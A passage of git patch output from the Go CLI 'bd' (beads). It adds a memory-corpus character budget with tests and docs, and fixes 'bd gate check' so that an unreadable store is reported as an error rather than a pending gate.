+// TestRememberBudgetVerdictWarnBand is spec point (e) plus its two edges: below +// 80% of the budget the command is silent (today's behavior), and from 80% up +// to the budget it writes AND warns. +func TestRememberBudgetVerdictWarnBand(t *testing.T) { + const budget = 1000 + cases := []struct { + name string + projected int + wantLine bool + wantPct int + }{ + {"well below", 100, false, 0}, + {"one byte under the warn band", 799, false, 0}, + {"exactly 80 percent", 800, true, 80}, + {"inside the band", 950, true, 95}, + // One byte under: 99.9%, which must FLOOR to 99. Within the budget the + // rounding goes down, so "100%" belongs to the exactly-at-budget case + // alone and never to a projection that merely rounds up to it. + {"one byte under the budget", 999, true, 99}, + {"exactly at budget", 1000, true, 100}, + } + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + // Project by writing a fresh key of known cost into an empty corpus. + key := "k" + content := strings.Repeat("q", tc.projected-len(key)) + line, refuse := rememberBudgetVerdict(map[string]string{}, key, content, budget, false) + if refuse { + t.Fatalf("projection %d of %d must not refuse", tc.projected, budget) + } + if !tc.wantLine { + if line != "" { + t.Fatalf("projection %d of %d must be silent, got %q", tc.projected, budget, line) + } + return + } + want := fmt.Sprintf("bd remember: memory corpus at %d of %d chars (%d%%)", tc.projected, budget, tc.wantPct) + if line != want { + t.Errorf("warn line =\n %q\nwant\n %q", line, want) + } + }) + } +} + +// TestMemoryBudgetLinePercentIsUnclamped pins the arithmetic: over the budget +// the percentage is ceil(projected*100/budget) and is NOT clamped at 100, so a +// corpus forced well past its ceiling reports how far past it actually is. A +// clamp here would make 101% and 400% read identically — exactly the reading an +// operator needs. The ceiling is what keeps an over-budget line off the "100%" +// that means at-budget-and-allowed. +func TestMemoryBudgetLinePercentIsUnclamped(t *testing.T) { + cases := []struct { + projected, budget int + want string + }{ + {101, 100, "(101%)"}, + {201, 200, "(101%)"}, // ceil(100.5) — never floors back onto at-budget + {400, 100, "(400%)"}, // exact: ceil and floor agree + {1001, 1000, "(101%)"}, + } + for _, tc := range cases { + line, _ := memoryBudgetLine(tc.projected, tc.budget, false) + if !strings.Contains(line, tc.want) { + t.Errorf("memoryBudgetLine(%d, %d) = %q, want it to contain %q", tc.projected, tc.budget, line, tc.want) + } + } +} + +// TestMemoryBudgetLineHasNoTrailingNewline guards the "ONE line" contract: the +// callers add the newline, so a line that carried its own would print a blank +// line into stderr between the warning and whatever follows. +func TestMemoryBudgetLineHasNoTrailingNewline(t *testing.T) { + for _, force := range []bool{false, true} { + line, _ := memoryBudgetLine(500, 100, force) + if line == "" { + t.Fatalf("force=%v: expected an over-budget line", force) + } + if strings.ContainsAny(line, "\n\r") { + t.Errorf("force=%v: budget line must be a single line, got %q", force, line) + } + } +} diff --git a/cmd/bd/memory_embedded_test.go b/cmd/bd/memory_embedded_test.go index 694a7200f..c39735030 100644 --- a/cmd/bd/memory_embedded_test.go +++ b/cmd/bd/memory_embedded_test.go @@ -3,7 +3,10 @@ package main import ( + "encoding/json" + "errors" "fmt" + "io" "os" "os/exec" "path/filepath" @@ -486,3 +489,224 @@ func TestEmbeddedMemoryConcurrent(t *testing.T) { t.Fatal("expected at least 1 worker to succeed") } } + +// bdRememberBuffers runs "bd remember" and hands back stdout, stderr and the +// error separately. The budget's lines are STDERR by contract — that is what +// keeps them out of --json output — so a helper that folds the two streams +// together cannot test them. +func bdRememberBuffers(t *testing.T, bd, dir string, args ...string) (string, string, error) { + t.Helper() + cmd := exec.Command(bd, append([]string{"remember"}, args...)...) + cmd.Dir = dir + cmd.Env = bdEnv(dir) + stdout, stderr, err := runCommandBuffers(t, cmd) + return stdout.String(), stderr.String(), err +} + +// TestEmbeddedMemoryCorpusBudget exercises memories.budget-chars against a REAL +// store, end to end: the config key routed through `bd config set`, the corpus +// measured from rows that are actually there, the refusal's nonzero exit, and +// the fact that a refused write leaves NOTHING behind. +// +// The arithmetic below is exact and deliberate — every content length is chosen +// so the projected corpus lands on a named boundary — because a budget test +// that only asserts "some line appeared" would pass with an off-by-one budget. +// The pure branch coverage lives in memory_budget_pure_test.go; this is the +// wiring. +func TestEmbeddedMemoryCorpusBudget(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") + } + t.Parallel() + + bd := buildEmbeddedBD(t) + + // ===== Budget OFF: byte-identical to the pre-budget command ===== + t.Run("budget_off_is_silent", func(t *testing.T) { + dir, _, _ := bdInit(t, bd, "--prefix", "mb") + stdout, stderr, err := bdRememberBuffers(t, bd, dir, strings.Repeat("x", 5000), "--key", "big") + if err != nil { + t.Fatalf("remember with no budget failed: %v\nstdout:\n%s\nstderr:\n%s", err, stdout, stderr) + } + if !strings.Contains(stdout, "Remembered [big]") { + t.Errorf("expected the shipped success line, got %q", stdout) + } + if strings.Contains(stderr, "memory corpus") { + t.Errorf("budget off must print no budget line, got stderr %q", stderr) + } + }) + + // ===== Budget ON ===== + dir, _, _ := bdInit(t, bd, "--prefix", "mb") + + // The arithmetic below assumes a fresh, empty corpus. Say so out loud, so + // a future `bd init` that seeds a memory fails HERE instead of failing as + // an inscrutable off-by-N in the assertions. + if out := bdMemories(t, bd, dir); !strings.Contains(out, "No memories stored") { + t.Fatalf("budget arithmetic needs an empty corpus after init, got:\n%s", out) + } + + cfg := exec.Command(bd, "config", "set", "memories.budget-chars", "100") + cfg.Dir = dir + cfg.Env = bdEnv(dir) + if out, err := cfg.CombinedOutput(); err != nil { + t.Fatalf("bd config set memories.budget-chars failed: %v\n%s", err, out) + } else if strings.Contains(string(out), "not a recognized") || strings.Contains(string(out), "Unrecognized") { + t.Fatalf("memories.budget-chars must be a recognized config key, got:\n%s", out) + } + + // 3 ("pad") + 90 = 93 of 100 -> writes, warns at 93%. + t.Run("warn_band_writes_and_warns", func(t *testing.T) { + _, stderr, err := bdRememberBuffers(t, bd, dir, strings.Repeat("a", 90), "--key", "pad") + if err != nil { + t.Fatalf("a write inside the budget must succeed: %v\nstderr:\n%s", err, stderr) + } + if want := "bd remember: memory corpus at 93 of 100 chars (93%)"; !strings.Contains(stderr, want) { + t.Errorf("stderr = %q, want the warn line %q", stderr, want) + } + if out := bdRecall(t, bd, dir, "pad"); !strings.Contains(out, strings.Repeat("a", 90)) { + t.Errorf("the warned write must still have landed, got %q", out) + } + }) + + // An OVERWRITE of the same size is a no-op on the corpus (delta, not sum). + // Were it summed, the projection would be 186 and this would be refused. + t.Run("overwrite_counts_delta_not_sum", func(t *testing.T) { + _, stderr, err := bdRememberBuffers(t, bd, dir, strings.Repeat("b", 90), "--key", "pad") + if err != nil { + t.Fatalf("a same-size overwrite must not be refused: %v\nstderr:\n%s", err, stderr) + } + if want := "bd remember: memory corpus at 93 of 100 chars (93%)"; !strings.Contains(stderr, want) { + t.Errorf("stderr = %q, want %q (an overwrite must not add to the sum)", stderr, want) + } + if out := bdRecall(t, bd, dir, "pad"); !strings.Contains(out, strings.Repeat("b", 90)) { + t.Errorf("overwrite did not land: %q", out) + } + }) + + // 93 + 2 ("ab") + 5 = exactly 100. Exactly AT the budget writes. + t.Run("exactly_at_budget_writes", func(t *testing.T) { + _, stderr, err := bdRememberBuffers(t, bd, dir, "ccccc", "--key", "ab") + if err != nil { + t.Fatalf("a write landing exactly on the budget must succeed: %v\nstderr:\n%s", err, stderr) + } + if want := "bd remember: memory corpus at 100 of 100 chars (100%)"; !strings.Contains(stderr, want) { + t.Errorf("stderr = %q, want %q", stderr, want) + } + }) + + // Overwriting "pad" with one more byte projects 101 — exactly ONE over. + t.Run("one_byte_over_refuses_and_writes_nothing", func(t *testing.T) { + stdout, stderr, err := bdRememberBuffers(t, bd, dir, strings.Repeat("d", 91), "--key", "pad") + if err == nil { + t.Fatalf("a write one byte over the budget must exit nonzero; stdout:\n%s\nstderr:\n%s", stdout, stderr) + } + want := "bd remember: memory corpus would be 101 chars, budget is 100 (101%) — refused; use --force to override" + if !strings.Contains(stderr, want) { + t.Errorf("stderr = %q, want %q", stderr, want) + } + // A terminal user is offered the same ways out as the --json envelope. + if hint := "Hint: raise memories.budget-chars, forget a memory, or pass --force"; !strings.Contains(stderr, hint) { + t.Errorf("stderr = %q, want the hint %q", stderr, hint) + } + if strings.Contains(stdout, "Remembered") || strings.Contains(stdout, "Updated") { + t.Errorf("a refused write must print no success line, got stdout %q", stdout) + } + if out := bdRecall(t, bd, dir, "pad"); !strings.Contains(out, strings.Repeat("b", 90)) { + t.Errorf("a refused write must leave the old content intact, got %q", out) + } + }) + + // The commonest call passes no --key, so the write lands under the key + // derived from the content, and that is the key the budget must measure: + // 100 + 22 ("derived-keys-count-too") + 24 (the content) projects 146. + t.Run("derived_key_write_is_budgeted", func(t *testing.T) { + stdout, stderr, err := bdRememberBuffers(t, bd, dir, "Derived keys count, too!") + var exitErr *exec.ExitError + if !errors.As(err, &exitErr) || exitErr.ExitCode() != 1 { + t.Fatalf("a write with no --key over the budget must exit 1, got %v; stdout:\n%s\nstderr:\n%s", err, stdout, stderr) + } + want := "bd remember: memory corpus would be 146 chars, budget is 100 (146%) — refused; use --force to override" + if !strings.Contains(stderr, want) { + t.Errorf("stderr = %q, want %q", stderr, want) + } + if strings.Contains(stdout, "Remembered") || strings.Contains(stdout, "Updated") { + t.Errorf("a refused write must print no success line, got stdout %q", stdout) + } + bdRecallFail(t, bd, dir, "derived-keys-count-too") + }) + + // A whitespace-only --key names nothing, so the role refuses the write with + // its own validation sentence. The budget must not answer first: on this + // full corpus it would call the write over budget and point at --force, + // and the --force retry would only then meet the validation error. + t.Run("blank_key_gets_the_validation_error_not_the_budget", func(t *testing.T) { + stdout, stderr, err := bdRememberBuffers(t, bd, dir, "some content", "--key", " ") + if err == nil { + t.Fatalf("a whitespace-only --key must be refused; stdout:\n%s\nstderr:\n%s", stdout, stderr) + } + if !strings.Contains(stderr, "memory key must not be empty") { + t.Errorf("stderr = %q, want the role's validation error", stderr) + } + if strings.Contains(stderr, "memory corpus") { + t.Errorf("a write the role refuses must not be measured against the budget, got stderr %q", stderr) + } + }) + + // The same refusal under --json is said ONCE, and only on stdout: the + // machine-readable envelope, nothing else. Printing the prose to stderr as + // well would deliver one refusal twice to a caller reading both streams. + t.Run("json_refusal_is_said_once", func(t *testing.T) { + stdout, stderr, err := bdRememberBuffers(t, bd, dir, strings.Repeat("d", 91), "--key", "pad", "--json") + if err == nil { + t.Fatalf("a --json write one byte over the budget must exit nonzero; stdout:\n%s\nstderr:\n%s", stdout, stderr) + } + + // Exactly ONE JSON document on stdout — no second envelope, no prose + // before or after it. + dec := json.NewDecoder(strings.NewReader(stdout)) + var doc map[string]interface{} + if decErr := dec.Decode(&doc); decErr != nil { + t.Fatalf("stdout is not a JSON document (%v):\n%s", decErr, stdout) + } + if decErr := dec.Decode(new(json.RawMessage)); !errors.Is(decErr, io.EOF) { + t.Errorf("stdout carries more than one JSON document (second Decode = %v):\n%s", decErr, stdout) + } + + // The envelope carries the refusal sentence, under either the enveloped + // or the flat error shape. + inner := doc + if data, ok := doc["data"].(map[string]interface{}); ok { + inner = data + } + msg, _ := inner["error"].(string) + want := "bd remember: memory corpus would be 101 chars, budget is 100 (101%) — refused; use --force to override" + if msg != want { + t.Errorf("JSON error = %q, want %q (full stdout:\n%s)", msg, want, stdout) + } + + // ...and stderr says nothing, so the refusal arrived exactly once. + if strings.Contains(stderr, "memory corpus") || strings.Contains(stderr, "Hint:") { + t.Errorf("--json refusal must not also print the prose line to stderr, got stderr %q", stderr) + } + + // A refused --json write still leaves the old content intact. + if out := bdRecall(t, bd, dir, "pad"); !strings.Contains(out, strings.Repeat("b", 90)) { + t.Errorf("a refused --json write must leave the old content intact, got %q", out) + } + }) + + // The same write with --force lands, and still says so. + t.Run("force_writes_over_budget", func(t *testing.T) { + _, stderr, err := bdRememberBuffers(t, bd, dir, strings.Repeat("d", 91), "--key", "pad", "--force") + if err != nil { + t.Fatalf("--force must write over the budget: %v\nstderr:\n%s", err, stderr) + } + if want := "bd remember: memory corpus at 101 of 100 chars (101%) — over budget, written anyway (--force)"; !strings.Contains(stderr, want) { + t.Errorf("stderr = %q, want %q", stderr, want) + } + if out := bdRecall(t, bd, dir, "pad"); !strings.Contains(out, strings.Repeat("d", 91)) { + t.Errorf("--force did not land the write, got %q", out) + } + }) +} diff --git a/docs/reference/configuration.md b/docs/reference/configuration.md index 0bb16251e..4a488738a 100644 --- a/docs/reference/configuration.md +++ b/docs/reference/configuration.md @@ -88,7 +88,7 @@ The full namespaces routed to YAML are: Plus these individual keys: -`no-db`, `json`, `db`, `actor`, `identity`, `no-push`, `no-git-ops`, `agent.profile`, `create.require-description`, `import.auto`, `import.path`, `prime.max-memories`, `prime.max-memory-chars`, and the secret keys `github.token`, `gitlab.token`, `jira.api_token`, `ado.pat`, `linear.api_key`, `linear.oauth_client_id`, `linear.oauth_client_secret`, `notion.token`. +`no-db`, `json`, `db`, `actor`, `identity`, `no-push`, `no-git-ops`, `agent.profile`, `create.require-description`, `import.auto`, `import.path`, `prime.max-memories`, `prime.max-memory-chars`, `memories.budget-chars`, and the secret keys `github.token`, `gitlab.token`, `jira.api_token`, `ado.pat`, `linear.api_key`, `linear.oauth_client_id`, `linear.oauth_client_secret`, `notion.token`. Any key whose name contains `api_key`, `api-key`, `secret`, `token`, or `password` is treated as a secret: it is refused on git-tracked `config.yaml` files unless you pass `--force-git-tracked`. Prefer exporting the value as an environment variable instead (e.g. `LINEAR_API_KEY`). @@ -108,6 +108,7 @@ Any key whose name contains `api_key`, `api-key`, `secret`, `token`, or `passwor | `agent.profile` | — | `BD_AGENT_PROFILE` | `conservative` | Policy profile `bd prime` uses for git/commit authority: `conservative`, `minimal`, `team-maintainer`; invalid values fall back to `conservative` | | `prime.max-memories` | `--max-memories` | `BD_PRIME_MAX_MEMORIES` | `0` | Max persistent memories injected by `bd prime` (0 = unlimited) | | `prime.max-memory-chars` | `--max-memory-chars` | `BD_PRIME_MAX_MEMORY_CHARS` | `0` | Max total bytes of memory entries injected by `bd prime`, at whole-memory boundaries (0 = unlimited) | +| `memories.budget-chars` | — | `BD_MEMORIES_BUDGET_CHARS` | `0` | Ceiling on the whole persistent-memory corpus, in bytes of `len(key)+len(content)` summed over every memory (0 = off). `bd remember` refuses a write that would cross it — pass `--force` to store anyway — and warns on a write that lands at or above 80% of it. Read at `bd remember` time only; `bd prime` injection is capped separately by `prime.max-memory-chars` | | `dolt.auto-commit` | `--dolt-auto-commit` | `BD_DOLT_AUTO_COMMIT` | `on` | `off\|on\|batch`: `on` creates a Dolt history commit after each successful write; `batch`/`off` defer it to `bd dolt commit` (see [below](#auto-commit-sql-commits-vs-dolt-commits)) | | `dolt.auto-push` | — | `BD_DOLT_AUTO_PUSH` | `false` | Auto-push to Dolt remote after writes (opt-in; see [below](#auto-push)) | | `dolt.auto-push-interval` | — | `BD_DOLT_AUTO_PUSH_INTERVAL` | `5m` | Minimum time between auto-pushes | diff --git a/internal/config/yaml_config.go b/internal/config/yaml_config.go index 8cf62abfb..cd0eb20e7 100644 --- a/internal/config/yaml_config.go +++ b/internal/config/yaml_config.go @@ -79,6 +79,11 @@ var YamlOnlyKeys = map[string]bool{ "prime.max-memories": true, "prime.max-memory-chars": true, + // Memory-corpus budget enforced by `bd remember` (0 = off). Yaml for the + // same reason the prime caps are: it is read through viper (config.GetInt), + // so a DB-backed write would be set successfully and then never read. + "memories.budget-chars": true, + // Validation settings (bd-t7jq) // Values: "warn" | "error" | "none" "validation.on-create": true, @@ -1596,6 +1601,14 @@ func validateYamlConfigValue(key, value string) error { if n < 0 { return fmt.Errorf("prime.max-memory-chars must be a non-negative integer (0 = unlimited), got %q", value) } + case "memories.budget-chars": + n, err := strconv.Atoi(value) + if err != nil { + return fmt.Errorf("memories.budget-chars must be a non-negative integer (0 = off), got %q", value) + } + if n < 0 { + return fmt.Errorf("memories.budget-chars must be a non-negative integer (0 = off), got %q", value) + } } return nil } diff --git a/internal/config/yaml_config_test.go b/internal/config/yaml_config_test.go index 897f66485..57bd48aab 100644 --- a/internal/config/yaml_config_test.go +++ b/internal/config/yaml_config_test.go @@ -917,6 +917,53 @@ func TestValidateYamlConfigValue_PrimeMaxMemoryChars(t *testing.T) { } } +// TestValidateYamlConfigValue_MemoriesBudgetChars tests validation of +// memories.budget-chars, the opt-in `bd remember` corpus ceiling. A negative +// value is rejected at SET time rather than silently clamped at read time, so +// an operator who types "-1" hears about it instead of getting a budget that +// is quietly off. +func TestValidateYamlConfigValue_MemoriesBudgetChars(t *testing.T) { + tests := []struct { + name string + value string + expectErr bool + errMsg string + }{ + {"valid zero (off)", "0", false, ""}, + {"valid positive", "250000", false, ""}, + {"invalid negative", "-1", true, "memories.budget-chars must be a non-negative integer (0 = off), got \"-1\""}, + {"invalid non-integer", "abc", true, "memories.budget-chars must be a non-negative integer (0 = off), got \"abc\""}, + {"invalid float", "3.5", true, "memories.budget-chars must be a non-negative integer (0 = off), got \"3.5\""}, + {"invalid empty", "", true, "memories.budget-chars must be a non-negative integer (0 = off), got \"\""}, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + err := validateYamlConfigValue("memories.budget-chars", tt.value) + if tt.expectErr { + if err == nil { + t.Errorf("expected error for value %q, got nil", tt.value) + } else if err.Error() != tt.errMsg { + t.Errorf("expected error %q, got %q", tt.errMsg, err.Error()) + } + } else { + if err != nil { + t.Errorf("unexpected error for value %q: %v", tt.value, err) + } + } + }) + } +} + +// TestMemoriesBudgetCharsIsYamlOnly pins the routing: the key is read through +// viper (config.GetInt), so a DB-backed write would be accepted and then never +// read by `bd remember`. YamlOnlyKeys is what keeps `bd config set` honest. +func TestMemoriesBudgetCharsIsYamlOnly(t *testing.T) { + if !IsYamlOnlyKey("memories.budget-chars") { + t.Error("memories.budget-chars must be yaml-only: bd remember reads it through viper") + } +} + func TestIsSecretKey(t *testing.T) { tests := []struct { key string From 9f9cfc49688d15e588a24640ce55e5f4f2c1c9a4 Mon Sep 17 00:00:00 2001 From: Bee Date: Tue, 6 Oct 2026 23:05:06 +0000 Subject: [PATCH 016/213] fix(gate): report an unreadable store as an error, not a pending bead gate (#6404) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * fix(gate): report an unreadable store as an error, not a pending bead gate (wy-2hz4ol) evaluateGates assigned r.err for the gh:run, gh:pr and timer arms but never for the bead arm, so a backend or transport failure on the awaited bead's read fell through applyGateCheckResults' pending branch: no error row, no error count, exit 0 — indistinguishable from a healthy gate still waiting. checkBeadGate now returns (satisfied, reason, err). A read that fails for any reason other than not-found (storage.ErrNotFound, sql.ErrNoRows, the partial-id resolver's text) is an error; a missing bead stays pending with the not-found reason as before. printGateCheckSummary returns an error when any gate could not be checked so the command exits non-zero on both the classic and proxied routes. bd close keeps refusing on such a gate (fail closed, --force to override) instead of treating "could not read" as satisfied. Tests: TestCheckBeadGate_LocalBeadLookupError now asserts the wrapped error; TestCheckBeadGate_LocalBeadNotFoundErrorStaysPending pins the four not-found shapes; TestEvaluateGates_BeadStoreErrorCountsAsError and TestPrintGateCheckSummary_ErrorsFailTheCommand pin the error row/count and the non-zero exit. Each of the three fails against its reverted line. Co-Authored-By: Claude Fable 5.1 Claude-Session: https://claude.ai/code/session_01PNYoASfCXUd5AeeCNiXn51 * ci: re-run the gate after a module-proxy GOAWAY on 'Check doc flags freshness' (no code change) * fix(gate): name close failures in the exit error; test the close refusal Maintainer fixup for #6404 (adopt-pr review iteration 1; quality scorecard 956/1000, approve). It fixes the review's three minor findings, all in code or text this PR introduced. - printGateCheckSummary: the exit error said "N gate(s) could not be checked", but errorCount also counts resolved gates whose close failed (the "error closing" rows) on the classic and proxied routes. It now says "could not be checked or closed", naming both row kinds, and the summary test asserts the new text. - close_gate_test.go: add TestCheckGateSatisfaction_BeadGateUnreadableStoreRefuses. A store stub whose GetIssue fails with a non-not-found error must make checkGateSatisfaction refuse with "could not check bead gate", the read error, and --force. Checked against three mutants: the refusal falling through to the fail-open warning, the pre-PR reason-only refusal, and checkBeadGate folding the read error into the reason. The existing BeadGateInvalidFormat and ErrorMessageFormat tests catch only the first, and only through the typed-nil routedBeadGateGetter left by a nil package store. - CHANGELOG: narrow the error-row claim to reads of the workspace's own store. A bead in a prefix-routed rig whose store cannot be read still reads as not found (pending): the routing fallback returns the local not-found and drops the routed error. That is pre-existing and left as a non-gating follow-up. Also say the non-zero exit covers gh, timer, and bead gates and close failures. Left as-is: the nit that a typed-nil routedBeadGateGetter{localStore: nil} gets past checkBeadGate's st == nil guard (unreachable on the classic route, where store is set before RunE). The optional `gate check` Long-help note was skipped so the generated CLI reference does not need regenerating. Agent-Signature: claude-code-claude-opus-5-5-max on behalf of Julian Knutsen Co-Authored-By: Claude Opus 5.5 --------- Co-authored-by: Claude Fable 5.1 Co-authored-by: Eddie the Engineer --- CHANGELOG.md | 15 ++++ cmd/bd/close.go | 8 ++- cmd/bd/close_gate_test.go | 40 +++++++++++ cmd/bd/gate.go | 40 +++++++---- cmd/bd/gate_routing_test.go | 4 +- cmd/bd/gate_test.go | 132 +++++++++++++++++++++++++++++++++--- 6 files changed, 213 insertions(+), 26 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 66ce69feb..4aad8bdc1 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1374,6 +1374,21 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ### Fixed +- **`bd gate check` no longer reports an unreadable store as "pending".** The + bead arm of the check dropped the lookup error on the floor, so with dolt + down (or any backend or transport failure on the awaited bead's read) every + bead gate printed as still waiting and the command exited 0 — the same + output as a healthy, genuinely pending gate. A read of the workspace's own + store that fails for any reason other than not-found is now an error row + (`✗ : error checking - ...`), counted in the summary, and `bd close` + on such a gate keeps refusing (`could not check bead gate`, `--force` to + override) rather than letting a dead store read as satisfied. On the + classic and proxied routes alike, `bd gate check` now exits non-zero + whenever any gate it checks (gh, timer, or bead) could not be checked or + closed. A missing bead still stays pending, and for now so does a bead in + a prefix-routed rig whose store cannot be read: routing still reports that + failure as not-found. + - **`routes.jsonl` prefixes containing a hyphen now route** ([#5048](https://github.com/gastownhall/beads/issues/5048)). Prefix routing cut the bead ID at its first `-` and required an exact match, so a route diff --git a/cmd/bd/close.go b/cmd/bd/close.go index 80159c203..e49aed1c7 100644 --- a/cmd/bd/close.go +++ b/cmd/bd/close.go @@ -695,7 +695,13 @@ func checkGateSatisfaction(issue *types.Issue) error { case issue.AwaitType == "timer": resolved, escalated, reason, err = checkTimer(issue, time.Now()) case issue.AwaitType == "bead": - resolved, reason = checkBeadGate(rootCtx, routedBeadGateGetter{localStore: store}, issue.AwaitID) + resolved, reason, err = checkBeadGate(rootCtx, routedBeadGateGetter{localStore: store}, issue.AwaitID) + if err != nil { + // Unlike the gh:* and timer arms above, a bead gate whose store + // cannot be read stays closed: the close would need that same + // store, and "could not read" must not pass as "satisfied". + return fmt.Errorf("gate condition not satisfied: could not check bead gate: %v (use --force to override)", err) + } if resolved { return nil } diff --git a/cmd/bd/close_gate_test.go b/cmd/bd/close_gate_test.go index e50d46746..458640b19 100644 --- a/cmd/bd/close_gate_test.go +++ b/cmd/bd/close_gate_test.go @@ -1,9 +1,12 @@ package main import ( + "context" + "errors" "strings" "testing" + "github.com/steveyegge/beads/internal/storage" "github.com/steveyegge/beads/internal/types" ) @@ -201,3 +204,40 @@ func TestCheckGateSatisfaction_ErrorMessageFormat(t *testing.T) { t.Errorf("error message should mention 'gate condition not satisfied', got: %s", errMsg) } } + +// unreadableGateStore is a DoltStorage stand-in whose GetIssue always fails +// with err. It embeds a nil DoltStorage and overrides only the read the bead +// arm of checkGateSatisfaction makes. +type unreadableGateStore struct { + storage.DoltStorage + err error +} + +func (s *unreadableGateStore) GetIssue(context.Context, string) (*types.Issue, error) { + return nil, s.err +} + +func TestCheckGateSatisfaction_BeadGateUnreadableStoreRefuses(t *testing.T) { + // A bead gate whose store read fails (anything but not-found) must refuse + // the close with the read error, not fall through to the fail-open + // warning the gh:* and timer arms use. + saveAndRestoreGlobals(t) + store = &unreadableGateStore{err: errors.New("dolt exploded")} + + issue := &types.Issue{ + IssueType: "gate", + AwaitType: "bead", + AwaitID: "bd-abc", + Title: "Bead gate on an unreadable store", + } + + err := checkGateSatisfaction(issue) + if err == nil { + t.Fatal("checkGateSatisfaction() let a bead gate close although its store could not be read") + } + for _, want := range []string{"could not check bead gate", "dolt exploded", "--force"} { + if !strings.Contains(err.Error(), want) { + t.Errorf("error should mention %q, got: %v", want, err) + } + } +} diff --git a/cmd/bd/gate.go b/cmd/bd/gate.go index 1246d544e..cd546de93 100644 --- a/cmd/bd/gate.go +++ b/cmd/bd/gate.go @@ -721,7 +721,7 @@ func evaluateGates(ctx context.Context, gates []*types.Issue, now time.Time, get case gate.AwaitType == "timer": r.resolved, r.escalated, r.reason, r.err = checkTimer(gate, now) case gate.AwaitType == "bead": - r.resolved, r.reason = checkBeadGate(ctx, getter, gate.AwaitID) + r.resolved, r.reason, r.err = checkBeadGate(ctx, getter, gate.AwaitID) default: continue } @@ -781,13 +781,22 @@ func printGateCheckSummary(checked, resolvedCount, escalatedCount, errorCount in checked, resolvedCount, escalatedCount, errorCount) if jsonOutput { - return outputJSON(map[string]interface{}{ + if err := outputJSON(map[string]interface{}{ "checked": checked, "resolved": resolvedCount, "escalated": escalatedCount, "errors": errorCount, "dry_run": dryRun, - }) + }); err != nil { + return err + } + } + if errorCount > 0 { + // errorCount holds both row kinds applyGateCheckResults prints: a gate + // whose check failed ("error checking") and a resolved gate whose close + // failed ("error closing"). Neither is resolved or pending, so the + // caller must not mistake this run for a clean sweep. + return fmt.Errorf("%d gate(s) could not be checked or closed", errorCount) } return nil } @@ -1203,38 +1212,45 @@ func (g routedBeadGateGetter) GetIssue(ctx context.Context, id string) (*types.I } // checkBeadGate checks if a bead gate is satisfied. -// Returns (satisfied, reason). +// Returns (satisfied, reason, err). A non-nil err means the awaited bead could +// not be read at all (backend or transport failure): the gate is neither +// satisfied nor pending, and the caller reports it as an error rather than +// letting a dead store read as "still waiting". A missing bead is not an +// error; it stays pending with a not-found reason. // // A plain await_id names a bead in this rig. The historical // : form uses the bead ID as the routed lookup key; the rig // component is retained for compatibility while routes.jsonl remains keyed by // bead prefix. The supplied getter owns local-versus-routed lookup policy. -func checkBeadGate(ctx context.Context, st issueGetter, awaitID string) (bool, string) { +func checkBeadGate(ctx context.Context, st issueGetter, awaitID string) (bool, string, error) { if awaitID == "" { - return false, "bead gate has no await_id" + return false, "bead gate has no await_id", nil } targetID := awaitID if strings.Contains(awaitID, ":") { parts := strings.SplitN(awaitID, ":", 2) if parts[0] == "" || parts[1] == "" { - return false, fmt.Sprintf("invalid cross-rig bead gate %q: expected :", awaitID) + return false, fmt.Sprintf("invalid cross-rig bead gate %q: expected :", awaitID), nil } targetID = parts[1] } if st == nil { - return false, fmt.Sprintf("bead gate %q: no local store available", awaitID) + return false, fmt.Sprintf("bead gate %q: no local store available", awaitID), nil } issue, err := st.GetIssue(ctx, targetID) if err != nil { - return false, fmt.Sprintf("bead gate %q: %v", awaitID, err) + if gateProxiedNotFound(err) || isNotFoundErr(err) { + return false, fmt.Sprintf("bead gate %q: bead not found", awaitID), nil + } + return false, "", fmt.Errorf("bead gate %q: %w", awaitID, err) } if issue == nil { - return false, fmt.Sprintf("bead gate %q: bead not found", awaitID) + return false, fmt.Sprintf("bead gate %q: bead not found", awaitID), nil } if issue.Status == types.StatusClosed { - return true, fmt.Sprintf("bead %s closed", targetID) + return true, fmt.Sprintf("bead %s closed", targetID), nil } - return false, fmt.Sprintf("bead %s is %s", targetID, issue.Status) + return false, fmt.Sprintf("bead %s is %s", targetID, issue.Status), nil } // closeGate closes a gate issue with the given reason diff --git a/cmd/bd/gate_routing_test.go b/cmd/bd/gate_routing_test.go index 2b93fdf2e..10b03b6ab 100644 --- a/cmd/bd/gate_routing_test.go +++ b/cmd/bd/gate_routing_test.go @@ -62,12 +62,12 @@ func TestCheckBeadGateCrossRigPrefixRoute(t *testing.T) { t.Cleanup(func() { _ = os.Chdir(oldWD) }) getter := routedBeadGateGetter{localStore: townStore} - resolved, reason := checkBeadGate(ctx, getter, "rig:gt-closed") + resolved, reason, _ := checkBeadGate(ctx, getter, "rig:gt-closed") if !resolved { t.Fatalf("closed cross-rig target did not resolve gate: %s", reason) } - resolved, reason = checkBeadGate(ctx, getter, "rig:gt-open") + resolved, reason, _ = checkBeadGate(ctx, getter, "rig:gt-open") if resolved { t.Fatalf("open cross-rig target unexpectedly resolved gate: %s", reason) } diff --git a/cmd/bd/gate_test.go b/cmd/bd/gate_test.go index 85baf386e..6b3637403 100644 --- a/cmd/bd/gate_test.go +++ b/cmd/bd/gate_test.go @@ -6,12 +6,15 @@ import ( "database/sql" "encoding/json" "errors" + "fmt" "io" "os" "path/filepath" "slices" + "strings" "sync" "testing" + "time" "github.com/steveyegge/beads/internal/storage" "github.com/steveyegge/beads/internal/types" @@ -173,7 +176,7 @@ func TestCheckBeadGate_CrossRigUsesBeadIDForRoutedLookup(t *testing.T) { "gt-abc": {ID: "gt-abc", Status: types.StatusClosed}, }} - satisfied, reason := checkBeadGate(ctx, st, "gastown:gt-abc") + satisfied, reason, _ := checkBeadGate(ctx, st, "gastown:gt-abc") if !satisfied { t.Fatalf("expected closed routed bead to satisfy gate, got reason %q", reason) } @@ -207,7 +210,7 @@ func TestCheckBeadGate_InvalidCrossRigFormat(t *testing.T) { for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { - satisfied, reason := checkBeadGate(ctx, nil, tt.awaitID) + satisfied, reason, _ := checkBeadGate(ctx, nil, tt.awaitID) if satisfied { t.Errorf("expected not satisfied for %q", 